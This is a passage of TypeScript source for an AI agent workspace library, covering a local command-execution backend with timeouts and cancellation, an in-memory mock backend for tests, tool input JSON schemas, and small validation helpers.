individually quoted.\n * With `interpreter: \"sh\"` the line runs through `/bin/sh -c` (or\n * `cmd.exe /d /v:off /s /c` on Windows) — only after the ops layer has\n * checked every command in it.\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\n * (the environment is NOT merged with `process.env`). On timeout the\n * process tree is SIGKILLed and `timedOut` is set. When `signal` aborts\n * mid-run the process tree is SIGKILLed the same way and `cancelled` is\n * set; an already-aborted `signal` resolves `cancelled` without spawning.\n * `stdout`/`stderr` are captured and byte-capped per {@link MAX_STREAM_BYTES}.\n *\n * Never rejects for a non-zero exit, a missing executable, a refused\n * command line, a timeout or a cancellation — those are reported through the resolved\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\n * as tool-error data.\n */\n public exec(\n command: string,\n opts: WorkspaceBackendExecOptions = {},\n ): Promise<WorkspaceBackendExecResult> {\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\n const refuse = (stderr: string): void =>\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\n\n const signal = opts.signal;\n\n // Never spawn for an invocation that was cancelled before it started.\n if (signal?.aborted) {\n resolve({\n exitCode: 130,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n timedOut: false,\n cancelled: true,\n });\n\n return;\n }\n\n const plan = planSpawn(command, opts.interpreter ?? \"none\", opts.interpreterPath);\n\n if (\"refused\" in plan) {\n refuse(plan.refused);\n\n return;\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n // POSIX: own process group so a timeout SIGKILL reaps the whole\n // process tree, not just the direct child. Harmless on Windows\n // (ignored; there we tree-kill via taskkill instead).\n detached: platform !== \"win32\",\n });\n\n const stdoutChunks: Buffer[] = [];\n const stderrChunks: Buffer[] = [];\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let timedOut = false;\n let cancelled = false;\n let settled = false;\n // The direct child has exited; 'close' may still be pending while its\n // stdio drains (or a grandchild holds the pipes open).\n let exited = false;\n\n // Timeout and cancellation are mutually exclusive: whichever kills the\n // tree first owns the outcome, so a result is never both.\n const timer =\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\n ? setTimeout(() => {\n if (cancelled) {\n return;\n }\n\n timedOut = true;\n killTree(child.pid, child);\n }, opts.timeoutMs)\n : undefined;\n\n const onAbort = (): void => {\n if (settled || timedOut) {\n return;\n }\n\n // The command already finished: report its real outcome, not a\n // cancellation. Still reap the tree so a grandchild holding the\n // pipes open cannot keep `close` (and this promise) pending.\n if (!exited) {\n cancelled = true;\n }\n\n killTree(child.pid, child);\n };\n\n // Attached synchronously after `spawn`, so there is no window in which\n // an abort could be missed; removed in `settle` so a long-lived signal\n // shared across many commands does not accumulate listeners.\n signal?.addEventListener(\"abort\", onAbort, { once: true });\n\n const settle = (exitCode: number) => {\n if (settled) {\n return;\n }\n\n settled = true;\n\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n signal?.removeEventListener(\"abort\", onAbort);\n\n resolve({\n exitCode,\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\n timedOut,\n cancelled,\n });\n };\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\n });\n\n // A spawn failure (e.g. the executable cannot be found) surfaces as\n // an error event with no exit; report it as a conventional\n // \"command not found\" exit code rather than rejecting.\n child.on(\"error\", () => {\n settle(127);\n });\n\n child.on(\"exit\", () => {\n exited = true;\n });\n\n child.on(\"close\", (code, signal) => {\n // A null code means the process was terminated by a signal (our\n // timeout SIGKILL, or an external kill). Map that to the POSIX\n // 128 + signal-number convention so callers see a non-zero exit.\n if (code === null) {\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\n settle(128 + signalNumber);\n\n return;\n }\n\n settle(code);\n });\n });\n }\n\n /**\n * Start a long-running command and return at once. Spawned like\n * {@link exec} (same argv/shell planning, own process group on POSIX), with\n * stdin closed. Output is decoded per stream with a `StringDecoder`, so a\n * chunk never ends inside a character. `kill()` kills the whole tree; a\n * still-running tree is also killed when the Node process exits.\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const plan = planSpawn(command, opts.interpreter ?? \"none\", opts.interpreterPath);\n\n if (\"refused\" in plan) {\n opts.onOutput(\"stderr\", plan.refused);\n\n return { done: Promise.resolve({ exitCode: 127 }), kill: () => {} };\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n detached: platform !== \"win32\",\n stdio: [\"ignore\", \"pipe\", \"pipe\"],\n });\n\n const stdoutDecoder = new StringDecoder(\"utf8\");\n const stderrDecoder = new StringDecoder(\"utf8\");\n let finished = false;\n\n const kill = (): void => {\n if (!finished) {\n killTree(child.pid, child);\n }\n };\n\n const untrack = trackBackgroundProcess(kill);\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n const text = stdoutDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stdout\", text);\n }\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n const text = stderrDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stderr\", text);\n }\n });\n\n const done = new Promise<{ exitCode: number }>((resolve) => {\n const finish = (exitCode: number): void => {\n if (finished) {\n return;\n }\n\n finished = true;\n untrack();\n\n const stdoutTail = stdoutDecoder.end();\n const stderrTail = stderrDecoder.end();\n\n if (stdoutTail !== \"\") {\n opts.onOutput(\"stdout\", stdoutTail);\n }\n\n if (stderrTail !== \"\") {\n opts.onOutput(\"stderr\", stderrTail);\n }\n\n resolve({ exitCode });\n };\n\n child.on(\"error\", (error) => {\n opts.onOutput(\"stderr\", `Command could not be started: ${error.message}`);\n finish(127);\n });\n\n child.on(\"close\", (code, signal) => {\n finish(code === null ? 128 + (signal === \"SIGKILL\" ? 9 : 1) : code);\n });\n });\n\n return { ...(child.pid !== undefined ? { pid: child.pid } : {}), done, kill };\n }\n}\n\n/**\n * Create the **local** workspace backend — the default executor that runs the\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\n * (`node:child_process`).\n *\n * The returned object is policy-agnostic: it expects already-jail-resolved\n * absolute paths and an already-resolved environment/timeout from the ops\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\n * allow/deny lists, hashing, and output policy.\n *\n * @example\n * const backend = createLocalBackend();\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\n */\nexport function createLocalBackend(): WorkspaceBackend {\n return new LocalBackend();\n}\n","import type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * A scripted outcome for the mock backend's `exec` (and background\n * `start`). Mirrors {@link WorkspaceBackendExecResult} but every field is\n * optional so a registration can specify only what it cares about — the\n * rest fall back to a successful, empty-output, non-timed-out run.\n *\n * `running: true` makes a background start keep \"running\" (after emitting\n * its scripted output) until it is killed, like a dev server; otherwise it\n * exits at once with `exitCode`.\n */\nexport type MockExecResult = Partial<WorkspaceBackendExecResult> & {\n /** Background starts only: stay running until killed. */\n running?: boolean;\n};\n\n/**\n * The two seedable inputs of a mock backend:\n *\n * - `files` — initial file tree as `absolutePath -> content`. Parent\n * directories of each seeded file are implicitly created.\n * - `commands` — scripted `exec` outcomes keyed on the **exact** command\n * line. Any command not registered here resolves to a `0`-exit no-op.\n */\nexport interface MockBackendSeed {\n /** Initial file contents, keyed by absolute path. */\n files?: Record<string, string>;\n /** Scripted `exec` results, keyed by exact command line. */\n commands?: Record<string, MockExecResult>;\n}\n\n/**\n * Normalize an absolute path to a stable in-memory key: forward slashes,\n * collapsed duplicate separators, and resolved `.` / `..` segments. There\n * are no symlinks in memory, so this is a pure lexical canonicalization —\n * exactly what the backend's `realpath` promises.\n */\nfunction canonicalize(absPath: string): string {\n const unified = absPath.replace(/\\\\/g, \"/\");\n // Preserve a leading slash (POSIX root) or a `C:`-style Windows drive\n // prefix; everything else is a normal segment.\n const driveMatch = unified.match(/^([a-zA-Z]:)?\\/?/);\n const prefix = driveMatch ? driveMatch[0] : \"\";\n const rest = unified.slice(prefix.length);\n\n const resolved: string[] = [];\n\n for (const segment of rest.split(\"/\")) {\n if (segment === \"\" || segment === \".\") {\n continue;\n }\n\n if (segment === \"..\") {\n resolved.pop();\n\n continue;\n }\n\n resolved.push(segment);\n }\n\n const joined = resolved.join(\"/\");\n\n // A trailing slash on the prefix means it was absolute; keep it so the\n // result stays absolute even when the body is empty (the root itself).\n const normalizedPrefix = prefix.endsWith(\"/\") ? prefix : `${prefix}/`;\n\n return joined.length > 0 ? `${normalizedPrefix}${joined}` : normalizedPrefix;\n}\n\n/** All ancestor directory keys of a canonical path, root-first. */\nfunction ancestorsOf(canonicalPath: string): string[] {\n const lastSlash = canonicalPath.lastIndexOf(\"/\");\n\n if (lastSlash <= 0) {\n return [];\n }\n\n const parent = canonicalPath.slice(0, lastSlash);\n const result = ancestorsOf(parent);\n\n result.push(parent);\n\n return result;\n}\n\n/**\n * The in-memory executor behind {@link createMockBackend}. Holds the file\n * tree in a `Map`, the directory set in a `Set`, and the scripted command\n * table in a second `Map` — no disk, no child processes, fully\n * deterministic. Construct it via the factory, never directly.\n */\nclass MockBackend implements WorkspaceBackend {\n /** Canonical file path -> content. */\n private readonly files = new Map<string, string>();\n\n /** Canonical directory paths that exist (including implicit parents). */\n private readonly directories = new Set<string>();\n\n /** Exact command line -> scripted outcome. */\n private readonly commands = new Map<string, MockExecResult>();\n\n public constructor(seed?: MockBackendSeed) {\n for (const [path, content] of Object.entries(seed?.files ?? {})) {\n const canonical = canonicalize(path);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n for (const [command, result] of Object.entries(seed?.commands ?? {})) {\n this.commands.set(command, result);\n }\n }\n\n /** Record every ancestor directory of a path as existing. */\n private registerAncestorDirectories(canonicalPath: string): void {\n for (const ancestor of ancestorsOf(canonicalPath)) {\n this.directories.add(ancestor);\n }\n }\n\n public async readFile(absPath: string): Promise<string> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content === undefined) {\n throw new Error(`Mock backend: no such file: ${canonical}`);\n }\n\n return content;\n }\n\n public async writeFile(absPath: string, content: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n public async exists(absPath: string): Promise<boolean> {\n const canonical = canonicalize(absPath);\n\n return this.files.has(canonical) || this.directories.has(canonical);\n }\n\n public async mkdir(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.directories.add(canonical);\n this.registerAncestorDirectories(canonical);\n }\n\n public async remove(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n const prefix = `${canonical}/`;\n\n // Drop the entry itself and any descendant files/directories — a\n // recursive tree removal, matching the contract's \"file or directory\n // tree\" wording.\n for (const file of [...this.files.keys()]) {\n if (file === canonical || file.startsWith(prefix)) {\n this.files.delete(file);\n }\n }\n\n for (const directory of [...this.directories]) {\n if (directory === canonical || directory.startsWith(prefix)) {\n this.directories.delete(directory);\n }\n }\n }\n\n public async list(absDir: string): Promise<string[]> {\n const canonical = canonicalize(absDir);\n const prefix = canonical === \"/\" ? \"/\" : `${canonical}/`;\n const children = new Set<string>();\n\n const collect = (key: string): void => {\n if (!key.startsWith(prefix) || key === canonical) {\n return;\n }\n\n const remainder = key.slice(prefix.length);\n const nextSlash = remainder.indexOf(\"/\");\n const childName = nextSlash === -1 ? remainder : remainder.slice(0, nextSlash);\n\n if (childName.length > 0) {\n children.add(`${prefix}${childName}`);\n }\n };\n\n for (const file of this.files.keys()) {\n collect(file);\n }\n\n for (const directory of this.directories) {\n collect(directory);\n }\n\n return [...children].sort();\n }\n\n public async realpath(absPath: string): Promise<string> {\n return canonicalize(absPath);\n }\n\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content !== undefined) {\n return { type: \"file\", size: Buffer.byteLength(content, \"utf8\") };\n }\n\n if (this.directories.has(canonical)) {\n return { type: \"directory\", size: 0 };\n }\n\n throw new Error(`Mock backend: no such file or directory: ${canonical}`);\n }\n\n /**\n * Scripted background start: emits the registered `stdout` / `stderr`\n * synchronously, then exits with `exitCode` — or, when scripted with\n * `running: true`, stays running until `kill()` (exit code 137).\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const scripted = this.commands.get(command);\n\n if (scripted?.stdout) {\n opts.onOutput(\"stdout\", scripted.stdout);\n }\n\n if (scripted?.stderr) {\n opts.onOutput(\"stderr\", scripted.stderr);\n }\n\n if (scripted?.running !== true) {\n return { done: Promise.resolve({ exitCode: scripted?.exitCode ?? 0 }), kill: () => {} };\n }\n\n let stop: (result: { exitCode: number }) => void = () => {};\n const done = new Promise<{ exitCode: number }>((resolve) => {\n stop = resolve;\n });\n\n return { done, kill: () => stop({ exitCode: 137 }) };\n }\n\n public async exec(\n command: string,\n opts?: WorkspaceBackendExecOptions,\n ): Promise<WorkspaceBackendExecResult> {\n // Honour the contract's pre-aborted rule: nothing \"runs\".\n if (opts?.signal?.aborted) {\n return { exitCode: 130, stdout: \"\", stderr: \"\", timedOut: false, cancelled: true };\n }\n\n const scripted = this.commands.get(command);\n\n return {\n exitCode: scripted?.exitCode ?? 0,\n stdout: scripted?.stdout ?? \"\",\n stderr: scripted?.stderr ?? \"\",\n timedOut: scripted?.timedOut ?? false,\n cancelled: scripted?.cancelled ?? false,\n };\n }\n}\n\n/**\n * Create an in-memory {@link WorkspaceBackend} for fast, disk-free tests.\n *\n * Every IO method operates on a `Map` of `absolutePath -> content` (with a\n * companion directory set), so reads, writes, existence checks, `mkdir`,\n * recursive `remove`, `list`, and `realpath` all run synchronously in\n * memory with no filesystem access. `exec` is **scripted**: a registered\n * `command -> result` table is consulted by exact command line, and any\n * unregistered command resolves to a successful `0`-exit no-op with empty\n * output.\n *\n * `realpath` is a pure lexical canonicalization (forward slashes,\n * collapsed separators, resolved `.`/`..`) — there are no symlinks in\n * memory — which is exactly what the jail resolver expects.\n *\n * The single positional `seed` accepts either the shorthand\n * `Record<string, string>` of file contents (matching the design's\n * `ai.workspace.mock(seed)` signature) or the richer {@link MockBackendSeed}\n * with both `files` and scripted `commands`.\n *\n * @example\n * // Shorthand: seed files only.\n * const backend = createMockBackend({ \"/srv/app/src/index.ts\": \"export const x = 1;\" });\n * await backend.readFile(\"/srv/app/src/index.ts\"); // \"export const x = 1;\"\n *\n * @example\n * // Full seed: files plus a scripted command.\n * const backend = createMockBackend({\n * files: { \"/srv/app/package.json\": \"{}\" },\n * commands: { \"npm test\": { exitCode: 1, stderr: \"1 failing\" } },\n * });\n * await backend.exec(\"npm test\"); // { exitCode: 1, stderr: \"1 failing\", ... }\n * await backend.exec(\"echo hi\"); // { exitCode: 0, stdout: \"\", ... } (no-op)\n */\nexport function createMockBackend(\n seed?: Record<string, string> | MockBackendSeed,\n): WorkspaceBackend {\n return new MockBackend(normalizeSeed(seed));\n}\n\n/** Coerce the dual-shaped `seed` argument into a {@link MockBackendSeed}. */\nfunction normalizeSeed(\n seed?: Record<string, string> | MockBackendSeed,\n): MockBackendSeed | undefined {\n if (seed === undefined) {\n return undefined;\n }\n\n if (isMockBackendSeed(seed)) {\n return seed;\n }\n\n return { files: seed };\n}\n\n/**\n * Whether `seed` is the structured {@link MockBackendSeed} (has a `files`\n * or `commands` key) rather than the flat `path -> content` shorthand. A\n * plain shorthand map whose only key happens to be named `files` is\n * treated as structured — callers wanting that literal path should use the\n * explicit `{ files: { files: \"...\" } }` form.\n */\nfunction isMockBackendSeed(\n seed: Record<string, string> | MockBackendSeed,\n): seed is MockBackendSeed {\n return (\n typeof (seed as MockBackendSeed).files === \"object\" ||\n typeof (seed as MockBackendSeed).commands === \"object\"\n );\n}\n","import type { JsonSchemaObject } from \"./schema\";\n\n/**\n * The JSON Schemas the workspace tools publish for their input (read by\n * `extractJsonSchema` and sent to the provider with each tool), kept short\n * because they ride along on every model call. They describe what the\n * hand-rolled validators accept; the validators remain the authority.\n */\n\nconst string = (description: string): JsonSchemaObject => ({ type: \"string\", description });\nconst integer = (description: string): JsonSchemaObject => ({ type: \"integer\", description });\nconst boolean = (description: string): JsonSchemaObject => ({ type: \"boolean\", description });\n\n/** `read_file`. */\nexport const READ_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n startLine: integer(\"1-based first line to return.\"),\n limit: integer(\"Most lines to return.\"),\n },\n required: [\"path\"],\n};\n\n/** `edit_file`. */\nexport const EDIT_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n expectHash: string(\"Hash from read_file; rejects the edit if the file changed.\"),\n },\n required: [\"path\", \"oldString\", \"newString\"],\n};\n\n/** `apply_patch`. */\nexport const APPLY_PATCH_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n patch: string(\n \"Unified diff (--- a/file, +++ b/file, @@ hunks; git style with rename from/to, new file, deleted file is fine). Applies to all files or none. Binary files are refused.\",\n ),\n dryRun: boolean(\"Check that the patch applies without writing anything.\"),\n },\n required: [\"patch\"],\n};\n\n/** `multi_edit`. */\nexport const MULTI_EDIT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n edits: {\n type: \"array\",\n description:\n \"Replacements applied in order, each to the result of the previous; all or none.\",\n minItems: 1,\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n },\n required: [\"oldString\", \"newString\"],\n },\n },\n expectHash: string(\"Hash from read_file; rejects every edit if the file changed.\"),\n },\n required: [\"path\", \"edits\"],\n};\n\n/** `write_file`. */\nexport const WRITE_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n content: string(\"Full file content.\"),\n },\n required: [\"path\", \"content\"],\n};\n\n/** `list_dir`. */\nexport const LIST_DIR_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string('Workspace-relative directory (default \".\").'),\n depth: integer(\"Levels to list; 1 = direct children (default).\"),\n ignore: { type: \"array\", items: { type: \"string\" }, description: \"Extra globs to leave out.\" },\n },\n};\n\n/** `run_shell` (the `background` property is only listed when background commands are enabled). */\nexport function runShellJsonSchema(background: boolean): JsonSchemaObject {\n return {\n type: \"object\",\n properties: {\n command: string(\"The command line to run.\"),\n timeoutMs: integer(\"Wall-clock cap in ms (can only lower the workspace limit).\"),\n ...(background\n ? {\n background: boolean(\n \"Start it in the background and return its id at once (dev servers, watchers).\",\n ),\n }\n : {}),\n },\n required: [\"command\"],\n };\n}\n\n/** `shell_output`. */\nexport const SHELL_OUTPUT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n id: string(\"Background command id from run_shell.\"),\n since: integer(\"A cursor from an earlier result; omit for output since the last read.\"),\n waitMs: integer(\"Wait up to this long (max 30000) for new output.\"),\n },\n required: [\"id\"],\n};\n\n/** `shell_kill`. */\nexport const SHELL_KILL_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { id: string(\"Background command id from run_shell.\") },\n required: [\"id\"],\n};\n\n/** `run_tests`. */\nexport const RUN_TESTS_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string(\"Optional test path or name filter.\") },\n};\n\n/** `grep`. */\nexport const GREP_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n pattern: string(\"Regular expression to search for.\"),\n glob: string('Only search files matching this glob (e.g. \"src/**/*.ts\").'),\n ignoreCase: boolean(\"Case-insensitive match.\"),\n },\n required: [\"pattern\"],\n};\n\n/** `glob`. */\nexport const GLOB_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string('Glob such as \"src/**/*.ts\".') },\n required: [\"pattern\"],\n};\n\n/** `todo_write`. */\nexport const TODO_WRITE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n todos: {\n type: \"array\",\n description: \"The complete updated list (replaces the old one).\",\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n id: string(\"Stable id; omit to number items by position.\"),\n content: string(\"The step.\"),\n status: { type: \"string\", enum: [\"pending\", \"in_progress\", \"completed\"] },\n },\n required: [\"content\", \"status\"],\n },\n },\n },\n required: [\"todos\"],\n};\n\n/** `todo_read`. */\nexport const TODO_READ_JSON_SCHEMA: JsonSchemaObject = { type: \"object\", properties: {} };\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\n\n/**\n * Tiny, dependency-free [Standard Schema](https://standardschema.dev)\n * builders for the workspace tools' input validation. The package pins\n * only `@warlock.js/ai` and `@warlock.js/fs` as runtime dependencies, so\n * rather than pull in a schema library we hand-roll the few shapes the\n * file tools need — exactly the pattern `@warlock.js/ai`'s own `tool()`\n * tests use. Each builder returns a `StandardSchemaV1`, which is what\n * `tool({ input })` validates against before calling `execute`.\n *\n * These intentionally cover only the primitive cases the FILE tools\n * require (`string`, `optional string`, `optional number`, `optional\n * boolean`, and an `object` of fields). They are not a general-purpose\n * validator.\n */\n\n/** The vendor tag stamped on every issue these builders produce. */\nconst VENDOR = \"ai-workspace\";\n\n/** A JSON Schema object, as providers send it with a tool definition. */\nexport type JsonSchemaObject = Record<string, unknown>;\n\n/**\n * A Standard Schema that also carries the JSON Schema of its input as a\n * top-level `jsonSchema` property — the property `@warlock.js/ai`'s\n * `extractJsonSchema` reads — so providers send the model the real\n * parameter shape instead of a bare `{ type: \"object\" }`.\n */\nexport type JsonStandardSchema<T> = StandardSchemaV1<T> & { jsonSchema: JsonSchemaObject };\n\n/** Attach a JSON Schema description to a hand-rolled Standard Schema. */\nexport function withJsonSchema<T>(\n schema: StandardSchemaV1<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T> {\n return Object.assign(schema, { jsonSchema });\n}\n\n/**\n * A single field validator inside {@link objectSchema}: given a value,\n * return either the coerced value or a list of issues. Field validators\n * receive the raw property and the property name (for issue messages).\n */\nexport type FieldValidator<T> = (\n value: unknown,\n key: string,\n) => { value: T } | { issues: StandardSchemaV1.Issue[] };\n\n/** Required string field — rejects anything that is not a string. */\nexport function stringField(): FieldValidator<string> {\n return (value, key) => {\n if (typeof value === \"string\") {\n return { value };\n }\n\n return { issues: [{ message: `\"${key}\" must be a string`, path: [key] }] };\n };\n}\n\n/**\n * Optional string field — accepts `undefined` (the property absent or\n * explicitly undefined) or a string, and rejects every other type.\n */\nexport function optionalStringField(): FieldValidator<string | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"string\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a string when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional finite-number field — accepts `undefined` or a finite number,\n * rejecting `NaN`/`Infinity` and non-number types.\n */\nexport function optionalNumberField(): FieldValidator<number | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"number\" && Number.isFinite(value)) {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a finite number when provided`, path: [key] }],\n };\n };\n}\n\n/** Optional boolean field — accepts `undefined` or a boolean. */\nexport function optionalBooleanField(): FieldValidator<boolean | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"boolean\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a boolean when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional array-of-strings field — accepts `undefined` or an array whose\n * every element is a string (at most `maxItems` of them).\n */\nexport function optionalStringArrayField(maxItems = 50): FieldValidator<string[] | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (\n Array.isArray(value) &&\n value.length <= maxItems &&\n value.every((item) => typeof item === \"string\")\n ) {\n return { value: value as string[] };\n }\n\n return {\n issues: [\n {\n message: `\"${key}\" must be an array of at most ${maxItems} strings when provided`,\n path: [key],\n },\n ],\n };\n };\n}\n\n/** The per-key field validator map describing an object schema's shape. */\ntype ObjectShape<T> = {\n [K in keyof T]-?: FieldValidator<T[K]>;\n};\n\n/**\n * Build a {@link StandardSchemaV1} for a flat object whose every property\n * is validated by a {@link FieldValidator}. The input must be a non-null\n * object; each declared field is validated and the (possibly coerced)\n * values are collected into the typed result. All field issues are merged\n * so the caller sees every problem at once.\n *\n * `T` is constrained to `object` rather than `Record<string, unknown>` so\n * the tool IO `interface`s (which carry no implicit string index\n * signature) satisfy it directly — only the declared keys in `shape` are\n * ever read, so a string index signature is never required.\n *\n * @example\n * const schema = objectSchema<{ path: string; limit?: number }>({\n * path: stringField(),\n * limit: optionalNumberField(),\n * });\n */\nexport function objectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema?: JsonSchemaObject,\n): StandardSchemaV1<T> {\n const schema = buildObjectSchema(shape);\n\n return jsonSchema === undefined ? schema : withJsonSchema(schema, jsonSchema);\n}\n\n/** The validator behind {@link objectSchema}. */\nfunction buildObjectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T> {\n return {\n \"~standard\": {\n version: 1,\n vendor: VENDOR,\n validate(input) {\n if (typeof input !== \"object\" || input === null || Array.isArray(input)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const source = input as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const result: Record<string, unknown> = {};\n\n for (const key of Object.keys(shape) as (keyof T)[]) {\n const field = shape[key];\n const outcome = field(source[key as string], key as string);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n\n continue;\n }\n\n // Only carry through keys that resolved to a defined value, so\n // optional-absent fields stay absent rather than becoming\n // explicit `undefined` properties.\n if (outcome.value !== undefined) {\n result[key as string] = outcome.value;\n }\n }\n\n if (issues.length > 0) {\n return { issues };\n }\n\n return { value: result as T };\n },\n },\n };\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ApplyPatchInput, ApplyPatchResult, WorkspaceOps } from \"../contracts\";\nimport { applyPatchWithOps } from \"../patch/apply-patch-generic\";\nimport { APPLY_PATCH_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"apply_patch\";\n\n/** Input schema for the `apply_patch` tool. */\nconst inputSchema = withJsonSchema<ApplyPatchInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n\n if (typeof candidate.patch !== \"string\" || candidate.patch.trim() === \"\") {\n issues.push({ message: '\"patch\" must be a non-empty string', path: [\"patch\"] });\n }\n\n if (candidate.dryRun !== undefined && typeof candidate.dryRun !== \"boolean\") {\n issues.push({ message: '\"dryRun\" must be a boolean when provided', path: [\"dryRun\"] });\n }\n\n if (issues.length > 0 || typeof candidate.patch !== \"string\") {\n return { issues };\n }\n\n return {\n value: {\n patch: candidate.patch,\n ...(candidate.dryRun === true ? { dryRun: true } : {}),\n },\n };\n },\n },\n },\n APPLY_PATCH_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `apply_patch` tool over a workspace's policy-enforced\n * {@link WorkspaceOps}: apply a unified diff that modifies, creates, deletes\n * and renames files. It is **atomic** — every hunk of every file applies, or\n * nothing on disk changes — every path stays inside the workspace jail, and a\n * patch that touches a binary file is refused with a clear error. A failure\n * surfaces as a `WorkspaceEditError` in the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const patch = makeApplyPatchTool(ops);\n * const { data, error } = await patch.invoke({\n * patch: \"--- a/src/a.ts\\n+++ b/src/a.ts\\n@@ -1 +1 @@\\n-old\\n+new\\n\",\n * });\n */\nexport function makeApplyPatchTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ApplyPatchInput, ApplyPatchResult> {\n return tool<ApplyPatchInput, ApplyPatchResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Apply a unified diff to the 